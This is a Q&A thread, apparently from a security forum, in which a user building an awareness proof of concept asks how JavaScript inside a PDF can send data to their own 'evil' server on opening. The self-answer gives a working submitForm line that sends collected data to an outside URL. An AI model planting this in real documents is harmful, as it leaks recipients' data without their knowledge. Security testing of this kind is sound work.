3

I'm currently working on a security Proof Of Concept where I need to show the danger of opening an unknown PDF file. Internet says that many malwares use Javascript in PDF document (AcroJS) to download their malicious payload.

My PoC is based on a victim who will demonstrate data leak based on opening a PDF file. I only needs to send the filename over Internet (to begin).
I can write Javascript code which launch at document opening but the Net.HTTP.request function can only be used in trusted context.
So I don't see how to make a GET request to my listening "evil" website. I read that sometimes hackers use vulnerabilities in Acrobat to do their bad, but many places talk about the native ability of AcroJS to permit GET request.

Is anyone knowing how to do a one way GET request (the answer of the server is not even interesting in this case).

Maybe is there a way to include a remote (non existent) picture so the PDF will make a GET request to the specified URL. Or something like this.

Thanks

|improve this question
  • 1
    You need to use a vulnerable version of a PDF reader because that's what provides the threat you want to expose. – schroeder♦ Nov 15 '18 at 0:03
  • Is it not possible to launch an untrusted action with the warning of the user ? Or open a link in a browser ? – Sibwara Nov 15 '18 at 10:57
  • @Sibwara Only some browsers will run Javascript in PDF documents (like Chrome). Also some browsers (like Chrome and Edge) will also send third-party cookies in requests from PDF documents even when that feature is disabled in the browser, which can lead to user tracking. – Steve Nov 15 '18 at 19:39
1

Okay I find a way by using :

this.submitForm("http://mydomain.fr/var="+thedataIwant);

The user is prompted about a HTTP connection tentative but this is the vigilance I want to test for.
The articles of this guy help me a lot: https://acrobatusers.com/tutorials/author/parker

|improve this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.